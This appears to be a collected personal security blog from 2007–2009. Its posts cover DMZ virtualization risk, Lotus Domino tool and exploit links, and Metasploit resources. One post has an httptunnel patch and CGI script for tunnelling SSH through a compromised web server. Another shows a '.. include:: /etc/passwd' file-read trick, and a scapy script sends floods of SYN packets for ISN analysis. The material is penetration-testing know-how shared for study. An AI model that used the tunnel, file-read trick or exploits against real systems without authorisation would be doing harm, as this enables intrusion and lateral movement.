castlebbs — Fri, 18 Sep 2009 23:02:00 +0100

Following a question on the cissp mailing list on the risks of virtual server deployment spanning security zones, here is the answer I posted:

Vmware has released a best practice guide about DMZ virtualization. I don't know if your project is with vmware, but I suppose that most of this document is still valuable even with other virtualization tool.

http://www.vmware.com/files/pdf/dmz_virtualization_vmware_infra_wp.pdf

Basically, I think that any option can offer the same level of security but involves different skills and amount of work to mitigate the potential vulnerabilties.

In the second and third option of the document, guest systems from different DMZs are hosted in the same host server. These options can create vulnerabilities mainly because of the increasing complexity that can lead to misconfiguration. There is also issues to enforce separation of duties since the VMWare administrator can modify virtual network settings.

The points above can be mitigated but involve more requirements than the solution with physical separation of trust zones.

With DMZ virtualization, it is even more important that the below is done and this will be very depending on the level of maturity of Information Security and IT in general in each organisation:

The relevant IT people should be well trained on the virtualization tool the company uses
The VMware systems have to be hardened following best practices, Management zones should be connected on a separate network that is only available to the relevant people.
Vmvare patches have to be applied in a timely manner (this can be an issue since all guest systems may need a reboot)
Regular configuration audit have to be done to ensure that no misconfiguration has been introduced
Stringent change management must be in place in the organisation and no change to the virtual infrastructure should be done outside the change process

Virtualization if far from a being a new toy. This is a great technology that can decrease costs and can offer great DR strategies. This is likely to be a sensitive subject in each organisation and the result of the risk analysis should be well detailed. I think the points above can be used in doing the risk analysis. For example in a company with undersized IT teams, with poor change management process, I wouldn't recommend the DMZ virtualization option (depending on the impact obviously).

Lotus Notes/Domino Security

castlebbs — Wed, 06 May 2009 17:43:00 +0100

From: http://www.securityfocus.com/archive/101/492134

Here's a list of useful resources on Lotus Domino/Notes security:

http://www.dominosecurity.org/
http://www.ngssoftware.com/papers/hpldws.pdf
http://www.fortconsult.net/images/pdf/lotusnotes_keyfiles.pdf
http://seclists.org/pen-test/2002/Nov/0034.html (all thread)
http://seclists.org/pen-test/2007/Jul/0111.html (all thread)
http://documents.iss.net/whitepapers/domino.pdf
h ttp://www-128.ibm.com/developerworks/views/lotus/library.jsp
http://www-128.ibm.com/developerworks/lotus/security/
http://www.redbooks.ibm.com/redbooks/pdfs/sg247017.pdf
http://www.redbooks.ibm.com/pubs/pdfs/redbooks/sg245341.pdf
http://www.nsftools.com/

Some testing tools:

http://packetstormsecurity.org/UNIX/scanners/DominoHunter-0.92.zip
http://packetstormsecurity.org/UNIX/scanners/domino.tar.gz
http://www.cqure.net/wp/?page_id=17
http://www.appsecinc.com/products/appdetective/domino/ (commercial!)
http://www.rapid7.com/nexpose/features.jsp (commercial!)
http://www.openwall.com/john
http://usuarios.lycos.es/reinob/
http://www.nestonline.com/lcrack/
http://www.securiteinfo.com/download/dhb.zip
http://www.cqure.net/wp/?page_id=12
http://www-128.ibm.com/developerworks/lotus/downloads/
Other commercial password crackers from Elcomsoft/Passware/etc.

And some exploits:

http://www.0xdeadbeef.info/exploits/raptor_dominohash
http://www.milw0rm.com/exploits/3602
http://www.milw0rm.com/exploits/3616
http://www.milw0rm.com/exploits/4207
http://www.milw0rm.com/exploits/4574

Compliance automation

castlebbs — Mon, 04 May 2009 13:24:48 +0000

Are you linkedin ?

castlebbs — Sat, 19 Apr 2008 01:42:00 +0000

I subscribed to the professional network linkedin.com. It's the first time I register to this kind of website and I have to say that I found it useful for security professionals. First, you can get in touch with experts in Information Security by connecting to security groups or inviting friends of friends. I also like the questions and answers section. You can ask questions or participate to answers on high level security topics and since the people that answers the questions gets a note, often high quality answers are provided on very interesting IT Security topics.

GNU httptunnel with CGI

castlebbs — Wed, 16 May 2007 14:46:00 +0000

I wrote this patch for GNU httptunnel 3.0.5. this adds the following functions:

HTTP Basic Authentication: Allows to authenticate against a firewall or a Web server
CGI options: For the client htc, a new option to enable the definition of a cgi-script URI. For the server hts enable the option not to send the HTTP return code (which must be sent only by the web server).

I wrote this initially to do a proof of concept in a penetration testing I did previously: if you can find a way to write to the cgi-bin folder of a vulnerable web server, you can then use this version of httptunnel to encapsulate any flows like the ssh protocol and rebound on other systems that can be accessed from the vulnerable webserver.

The server hts cannot be called directly by the web server because it must ensure input-outputs persistence. The idea is to use a small cgi which makes the interface between hts and the web server. I wrote a small script in python which makes this job but it is simple to do one in C:

#!/usr/bin/env python
# tun.py : cgi tunnel to httptunnel
# David ROBERT david@ombrepixel.com
import socket, string
import os, sys

# host where hts live
host="localhost"
# hts listen port
port=8888

stdin=sys.stdin
stdout=sys.stdout

def log(texte):
    f=open("/tmp/log","a")
    f.write(texte + "\n")
    f.close()

def processGet():
    # GET processing
    data = """GET /index.html HTTP/1.1
Host: %s
Connection: close""" % os.environ.get("HTTP_HOST")

    # Send headers
    for line in string.split(data,"\n"):
        sock.send(line+"\r\n")
    sock.send("\r\n")
    #log("Lignes envoyees")

    # Receive flow
    while 1:
        v=sock.recv(8192)
        if not v: break
        stdout.write(v)
        #log("recu : %s" % v)
        stdout.flush()

def processPost():
    # POST processing
    data = """POST /index.html HTTP/1.1
Host: %s
Content-Length: 102400
Connection: close""" % os.environ.get("HTTP_HOST")

    # Send headers
    for line in string.split(data,"\n"):
        sock.send(line+"\r\n")
    sock.send("\r\n")

    # Send flow
    while 1:
        v = stdin.read(1)       # Ecriture
        if len(v) == 0: break
        #log("lu : %s" % v)
        sock.send(v)

# __main__
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
if os.environ.get("REQUEST_METHOD") == "GET":
    processGet()
elif os.environ.get("REQUEST_METHOD") == "POST":
    processPost()
else:
    print "Boum"

# Fin
sock.close()
sys.exit(0)

How does it work ?

On the server, copy tun.py in the cgi-bin folder. Start hts in cgi mode (-C or --cgi), listen to port 8888 and forward connexions to local port ssh (22):
- hts -C -F localhost:22 8888
On the client, start htc in cgi mode provinding URI to tun.py (-C URI or --cgi URI). In the following example webserver must be the name of the web server (IP address resolution must be possible). This name is also used in the HTTP headers sent by htc and makes it possible to select different virtual hosts.
- htc -C "/cgi-bin/tun.py" -F 2222 webserver:80
If authentication (only HTTP Basic) is required to reach the cgi script, you can specify login:password on the htc command line:
- htc -C "/cgi-bin/tun.py" -a david:noway -F 2222 webserver:80

Metasploit self-training

castlebbs — Wed, 09 May 2007 14:24:00 +0000

If part of you job is about security or if this is a hobby, you probably heard about the metasploit project. This tool will help you during penetration testing, you can try known exploit and create your own tools.

There was an interesting threat on the pen-test mailing list in regard to resources freely available on the internet to learn how to use metaslpoit. Here is a sum-up of the links provided on the list:

Official documentation:

http://www.metasploit.com/framework/support/

User guide:

http://framework.metasploit.com/documents/users_guide.pdf

The metasploit book :

http://en.wikibooks.org/wiki/Metasploit/Contents

Article on Security Focus (maybe a little bit outdated) :

http://www.securityfocus.com/infocus/1789

Demos on milw0rm :

http://www.milw0rm.com

Flash tutorial:

http://www.irongeek.com/i.php?page=videos/metasploit1

A few videos :

http://www.computerdefense.org/?p=53

Penetration Testing Framework 0.4

castlebbs — Thu, 03 May 2007 11:52:07 +0000

J'invite les personnes qui ne connaissent pas le "Penetration Testing Framework" de Kev Orrey et Lee Lawson d'y jeter un oeil :

Version html :

http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html

Version PDF :

http://www.vulnerabilityassessment.co.uk/PenetrationTest.zip

Source freemind :

http://www.vulnerabilityassessment.co.uk/Penetration%20Test.mm

Ce "framework" peut être intéressant pour une personne désirant effectuer des tests de pénétration. Une description est inutile, allez-voir la version html.

Cette nouvelle version inclue entre autres les sections suivantes :

Pentest wireless
AS400
VOIP
Bluetooth
Cisco

net2acid

castlebbs — Sat, 14 Apr 2007 20:14:00 +0100

I wrote net2acid. The goal is to insert into snort ACID database IP packets matched and jumped by netfilter QUEUE target. Version 0.0

I think it has never been completed

reStructWeb

castlebbs — Thu, 12 Apr 2007 19:26:00 +0100

reStructWeb is a small piece of software written in Python language. I wrote it to manage my personal web site. The most important features that I wished when I decided to write it are :

To be able to simply modify my website online
Not to have to write my pages in html or xml
To create links between the pages very easily (like Wiki )
To integrate templates and css to separate the presentation from the contents
To be multi-lingual
To be powerful and light for my poor computer ( SiteAbout ).

I took as a starting point the the Wiki system to update my Web site. The pages are created in text format using thereStructuredText format.

reStructWeb is based on the following tools:

At present reStructWeb makes hardly more than 300 lines of code. Largest of work (the management of the reStructuredText format) is made by Docutils.

reStructWeb was tested on the following environments :

Red Hat 9
Red Hat 8.0
Debian Sarge
Python 2.2.2, 2.2.3, 2.3.3
apache 2.0.40
docutils snapshot téléchargé le 2 mai 2004

The program should work on any system supporting Python 2.2 (or more) and docutils

Principle and performances

The system used is very powerful. The majority of time, the pages are sent to the navigator directly by Apache (static pages). Two cases of figures will lead Apache to return the request on reStructWeb script:

The URL required does not exist
The URL required contains parameters

reStructWeb script will ask you to create a page in case it don't exist or will ask you for the modification of an existing page. It generates thereafter html pages in the various languages and Apache will be able to send them in a traditional way.

Apache requires a small configuration to redirect the requests towards reStructWeb. You can however configure to use reStructWeb in a traditional way like a cgi, for example:

With Apache settings

http://www.test.com/index.html.en

Without Apache setting

http://www.test.com/rstweb.cgi/index.html.en

What reStructWeb is not

reStructWeb is a small script which I wrote for my needs only. It was not thought and not designed at all for a system having to be managed by several people. There is no management of users, no modifications history and the safety options are non-existent : The permission of modification of the site is based on a single password, the magicWord: -)

Attention!

Do not let anonymous users modify the contents of your website. reStructWeb is not a Wiki. An badly-attentive user can divert the use of the reStructuredText to try to compromise the system. Example :

.. include:: /etc/passwd

It is thus possible to include the contents in the page of any file on the system (for which the user of apache as the rights for reading).

This said, it is very fast ¹ , very light, very simple to implement (a single file and four parameters)

[1]	It is not the reStructWeb script which is fast, but the Apache sending of static pages. What is practically always the case on my site.

Download

Version 0.2 - magicword is now used when you want to create a link : download

Configuration

Standalone mode

In this mode, there is no Apache configuration. You only need to to copy the script in the directory cgi-bin.

Install docutils, Download reStructWeb
Copy the file rstgen.py in cgi-bin directory
Modify if you need the parameters in rstgen.py
Create the reStructWeb working directory
Change the directory permissions (the user running apache must be able to modify and create files in this directory)
Copy the templates files in the working directory: default.tmpl.fr, default.tmpl.en
Test

Apache redirect mode

proceed as for the standalone mode and to configure Apache in the following way :

Script GET /cgi-bin/rstgen.py

Script POST /cgi-bin/rstgen.py

ErrorDocument 404 /cgi-bin/rstgen.py

My configuration

On my computer, the working directory is /home/web/david/pages, rstgen.py is copied in the/home/web/david/cgi-bin directory.

Here is my Apache configuration :

<Directory "/home/web/david/pages">

Options FollowSymLinks MultiViews +Includes

Script GET /drobert/admin

Script POST /drobert/admin

ErrorDocument 404 /drobert/admin

AddDefaultCharset UTF-8

</Directory>

<Directory "/home/web/david/pages/st">

Options Indexes FollowSymLinks MultiViews +Includes

AddDefaultCharset ISO-8859-1

</Directory>

<VirtualHost *>

ServerAdmin webmaster@ombrepixel.com

DocumentRoot /var/www/ombrepixel.com

ServerName www.ombrepixel.com

ServerAlias ombrepixel.com

ErrorLog logs/www.ombrepixel.com-error_log

CustomLog logs/www.ombrepixel.com-access_log combined

ScriptAlias /drobert/admin /home/web/david/cgi-bin/rstgen.py

Alias /drobert /home/web/david/pages/

</VirtualHost>

Templates

About

The appearance of each page can be completely customized because the system uses templates. It is completely possible to make a really nice website by using reStructWeb (not like this one).

The templates are files with the .tmpl extension located in the working directory. You need a default template for each language your website support, thus,on my site, two files are present on the working directory :

default.tmpl.fr
default.tmpl.en

They are the default templates for all the pages, in French and English.

You can create templates specific to each page with the filename page_name.tmpl.en. For example if I want a customized template for the reStructWeb page, you just have to create the files restructweb.tmpl.en and restructweb.tmpl.fr``.

Templates variables

The template file is a pure html file in which a certain number of variables are replaced by dynamic contents. Currently, reStructWeb makes it possible to use the following variables :

Variables	Replaced by
`$title`	Title ² of the page
`$body`	Body of the page
`$sourceUrl`	Page source url
`$editUrl`	Page edit url
`$enUrl`	English version url
`$frUrl`	French version url
`$lastModified`	Last modified date

[2]	Title is defined in the reStructuredText (name of first section)

Bugs / To make

I noticed that under IE by making http://www.ombrepixel.com/drobert/restructweb one arrives directly on document RST and not HTML
Dictionary
Need to create dynamic language url variable

Other projects

Ian Bicking reST wiki : http://wiki.webwareforpython.org/thiswiki

Search my imap folder

castlebbs — Wed, 11 Apr 2007 19:39:00 +0100

How to use the search

I keep since a few years emails from security mailing-lists. Theses emails are stored in a single folder which can be search using this form :

Search duration can be long, it often exeed 60 seconds. Sorry for the times, I'll have to set up an indexed folder.

The search is done on the body of the message and not the subject or other message header. The query language is strict but intuitive. Here some examples in way of explanation :

"php 4" and ( exploit or advisory ) and not phpbb
"sql injection" and union and not magic_quotes_gpc
"from remote" and critical and hp-ux
( "php 4" or php-4) and not phpbb

implicit "and" :

rhsa apache

Some explanations

I wrote a small program in python that can query my advisories email folder. I wished to be able to have a advanced query language, independent from the IMAP4 language. This abstraction is also made to avoid the risks of IMAP commands injections and also to be able to query other subsystems than IMAP.

As I've set up the form on my website for my own use, I let other people benefit from it (even if their number is negligible: -)

More details

My program uses a lex and yacc python implementation : ply. the grammatical analyzer transforms my query into an Abstract Syntax Tree (AST). This tree is then transformed into an IMAP4 query string.

The grammar I have defined for the query language :

expression : expression AND term

| expression OR term

| term

term  : NOT term

| QWORDS

| WORD

| LPAREN expression RPAREN

For more details, look at the source code.

scapy vs hping3 : spectrographe de distribution ISN

castlebbs — Wed, 21 Mar 2007 17:58:00 +0000

scapy et hping3 sont des outils de manipulation de paquets réseau. Ce sont des couteaux suisses de la fabrication, de l'envoi et de la réception de paquets. M'intéressant particulièrement à Python, je me suis naturellement intéressé à scapy. Il existe d'autres outils et bibliothèques pour python (par exemple impaquet, pcapy). Le les présenterai dans d'autres billets. Hping3 est un autre outil très puissant intégrant un interpréteur tcl, je me suis donc intéressé à comparer ces deux produits. Ce billet présente mes débuts de comparaison et n'est pas fait pour être exhaustif sur le sujet. Il est juste là pour recueillir mes premières impressions

scapy
hping3

Pour commencer ma comparaison j'ai décidé d'écrire en Python/Scapy le programme isn-spectrogram écrit en tcl/hping3. La création de paquet, envoi et réception a été réécrite avec scapy, la fenêtre graphique réécrite avec Tkinter (isn-spectrogram utilisant Tk, le portage a été facile :-)). Ce programme analyse les numéros de séquence renvoyés par le destinataire lors de l'initialisation d'une connexion TCP. Ce programme dessine un spectrogramme qui représente la distribution des écarts de numéros de séquence renvoyés entre les différents paquets. Ces écarts correspondent à des incréments aléatoires et plus le spectre sera large, plus il sera difficile de déterminer les numéros de séquences.

Spectrogramme linux 2.4.27 :

Spectrogramme d'un routeur Zyxel (!) :

Nous allons nous concentrer sur les parties de code purement liées à hping3 et scapy. Construction des paquets, émission et réception via hping3 :

proc sendsyn {} {
    global sport dport myip target
    append syn "ip(saddr=$myip,daddr=$target,ttl=255)+"
    append syn "tcp(sport=$sport,dport=$dport,flags=s)"
    hping send $syn
    incr sport
    after 1 sendsyn
}

proc recvsynack {} {
    global lastisn relative_attractor

    set packets [hping recv eth0 0 0]
    foreach p $packets {
        if {![hping hasfield tcp flags $p]} continue
        set isn [hping getfield tcp seq $p]
        if {$relative_attractor} {
                set tisn [expr abs($isn-$lastisn)]
                set lastisn $isn
                set isn $tisn
        }
        #puts "ISN: $isn"
        displaypoint $isn
    }
    after 10 recvsynack
}

Deux fonctions sont utilisées, une pour envoyer des paquets, l'autre pour recevoir les réponses, respectivement sendsyn et recvsynack. Ces fonctions sont appelées par le gestionnaire d'évènement de tcl : envoi d'un paquet toute les millisecondes, réceptions des paquets de réponse toutes le 10 millisecondes. La fonction hping utilisée pour envoyer est send, et recv pour recevoir. Ces deux fonctions traitent des listes tcl au format APD.

Voici la méthode que j'avais choisi initialement avec scapy :

def sendSyns():
   "Envoie des paquets SYN, reception de SYN-ACK"
    port = 1
    while True:
       seq = sr1(IP(dst=hostname,ttl=255)/TCP(flags="S",sport=port,dport=dport),verbose=0).seq
       diff = abs(oldseq - seq)
       oldseq = seq
       port += 1
       displayPoint(diff)

L'avantage de scapy est clairement ici :

seq = sr1(IP(dst=hostname,ttl=255)/TCP(flags="S",sport=port,dport=dport),verbose=0).seq

En une seule ligne, je construis un paquet, je l'envoie, je récupère la réponse et j'en extrait le numéro de séquence. Dans mon programme python, j'aurai donc une unique fonction pour envoyer et recevoir les paquets : sendSyns() Cette fonction est exécutée dans un thread (on utilise pas cette notion de gestionnaire d'évènements tcl).

Cette fonction scapy sr1 qui permet d'envoyer et de recevoir un paquet, c'est très pratique. Mais dans le cas de notre programme, c'est trop lent. Il faut envoyer plusieurs milliers de paquets pour obtenir nos spectrogrammes et c'est beaucoup trop lent d'itérer sur une fonction sr1 de scapy qui enverra nouveau paquet seulement après avoir reçu la réponse du paquet précédent.

J'ai donc utilisé une autre méthode que je vais vous décrire. Mais pour être honnête, dans tous les cas il semble que scapy soit beaucoup plus lent que hping3 pour ce qui concerne la création et l'envoi de paquets. La vitesse n'est surement pas le critère le plus important, mais la différence est suffisamment importante pour être notée :

Envoie de 10000 paquets sous hping3 :

hping3> for { set i 0 } { $i < 10000 } { incr i } { hping send "ip(saddr=192.168.1.2,daddr=192.168.1.1,ttl=255)+tcp(sport=$i dport=222,flags=s)" }

Ceci envoie 10000 paquets TCP avec le flag SYN et la valeur du port source qui incrémente à chaque paquet. Cette opération prend moins de deux secondes sur mon PC.

L'équivalent sous scapy va mettre plus de 3 minutes à envoyer les 10000 paquets :

 >>> for i in range(10000):  send(IP(src="192.168.1.2",dst="192.168.1.1",ttl=255)/TCP(sport=ri,dport=222,flags="S"),verbose=0,inter=0)
 ou
 >>> send(IP(src="192.168.1.2",dst="192.168.1.1",ttl=255)/TCP(sport=range(10000),dport=222,flags="S"),verbose=0,inter=0)

Bref, on l'a compris, ça sera plus lent de générer les spectrogrammes avec scapy, mais avec la fonction sc1, c'est carrément inutilisable, alors voici la solution que j'ai adoptée :

def sendSyns():
    "Envoie des paquets SYN, reception de SYN-ACK"
    sport = 1
    while running==1:
        r = sr(IP(dst=hostname,ttl=255)/ TCP(flags="S", sport=range(sport,sport+nbsyn), dport=dport),
               verbose=0,timeout=0)
        sport += nbsyn
        for snd,rcv in r0:
            diff = abs(oldseq - rcv.seq)
            oldseq = rcv.seq
            displayPoint(diff)

A la place de sr1, j'utilise la fonction sr pour envoyer plusieurs paquets d'un coup, et recevoir l'ensemble des réponses ensuite. le sport=range(sport,sport+nbsyn) va fournir une liste de port à l'argument sport (port source) de l'objet TCP. Ceci à pour conséquence la création de plusieurs paquets. nbsyn correspond au nombre de paquets à envoyer d'une seule fois.

On gagne en vitesse par rapport à sr1 dans la mesure ou on envoi par paquets de nbsyn paquets sans attendre la réponse. J'ai testé avec différentes valeurs (on peut la spécifier par la ligne de commande) mais la création du graphe reste quand même bien plus lente qu'avec le programme sous hping3.

Nombre de lignes de code : vainqueur scapy Vitesse : vainqueur hping3

Le programme complet :

 
 #!/usr/bin/env python
 # -*- coding: iso-8859-15 -*-
 
 # David ROBERT david@ombrepixel.com
 # isn-scaptogram v0.1
 # Fortement inspiré de isn-spectrogram.htcl (projet hping3)
 # Pour comparer les fonctionnalité de scripts de hping3 et python/scapy
 
 from scapy import sr,IP,TCP
 from Tkinter import *
 import threading, sys, time
 
 try:
     hostname = sys.argv[1]
     dport = int(sys.argv[2])
     div = int(sys.argv[3])
     nbsyn = int(sys.argv[4])
 except:
     print "Utilisation: spectoscapy.py <host> <open-tcp-port> <scale> <blocks>"
     print "Exemple: spectoscapy.py www.example.com 80 100000 10"
     print " scale : echelle du spectrogramme"
     print " blocks : nombre de paquets SYN dans un bloc scapy"
     sys.exit(1)
 
 def quit():
     # Pour arreter mon thread
     global running
     running=0
 
 # Definition des paramètres TK
 running=1
 pastcol = {}
 root = Tk()
 root.title("isn-scaptogram")
 root.config(background="#000000")
 frame = Frame(root)
 frame.config(background="#000000")
 frame.pack(side=TOP)
 button = Button(frame, text="QUIT", fg="red", command=quit)
 button.pack(side=LEFT)
 canvas = Canvas(root)
 canvas.config(width=800,height=300)
 canvas.config(background="#000000")
 canvas.pack(fill=BOTH,expand=TRUE)
 canvas.create_rectangle(40,250,139,250,fill="#FFFFFF",width=0)
 canvas.create_text(90,270,fill="#FFFFFF",text=div*100)
 canvas.create_text(10,10,fill="#FFFFFF",text= \
                    "Host : %s, Port : %s Nombre de SYN par blocs: %d" \
                    % (hostname, dport, nbsyn),anchor=W)
 canvas.create_line(1,20,800,20,fill="#FFFFFF")
 def sendSyns():
     "Envoie des paquets SYN, reception de SYN-ACK"
     oldseq=0
     sport = 1
     while running==1:
         r = sr(IP(dst=hostname,ttl=255)/ TCP(flags="S", sport=range(sport,sport+nbsyn), dport=dport),
                verbose=0,timeout=0)
         sport += nbsyn
         for snd,rcv in r[0]:
             diff = abs(oldseq - rcv.seq)
             oldseq = rcv.seq
             displayPoint(diff)
     frame.quit()
 
 def displayPoint(isn):
     "Affiche le ligne sur le spectrogramme"
     isn = isn/div
     y = 50
     x = isn
     if not pastcol.has_key((x,y)):
         pastcol[(x,y)]=0
         graylevel = 0
     else:
         pastcol[(x,y)]+=10
         graylevel = pastcol[(x,y)]
     if graylevel >= 256*3: graylevel = 256*3-1
     if graylevel <= 255:
         b = graylevel
         g = r = 0
     elif graylevel <= 511:
         b = 0
         g = graylevel - 256
         r = 255
     elif graylevel <= 767:
         b = g = 255
         r = graylevel - 512
     canvas.create_rectangle(x,y,x+1,y+170,fill="#%02X%02X%02X" % (r,g,b) ,width=0)
 
 t = threading.Thread(target = sendSyns, args = ())
 t.start()
 
 root.mainloop()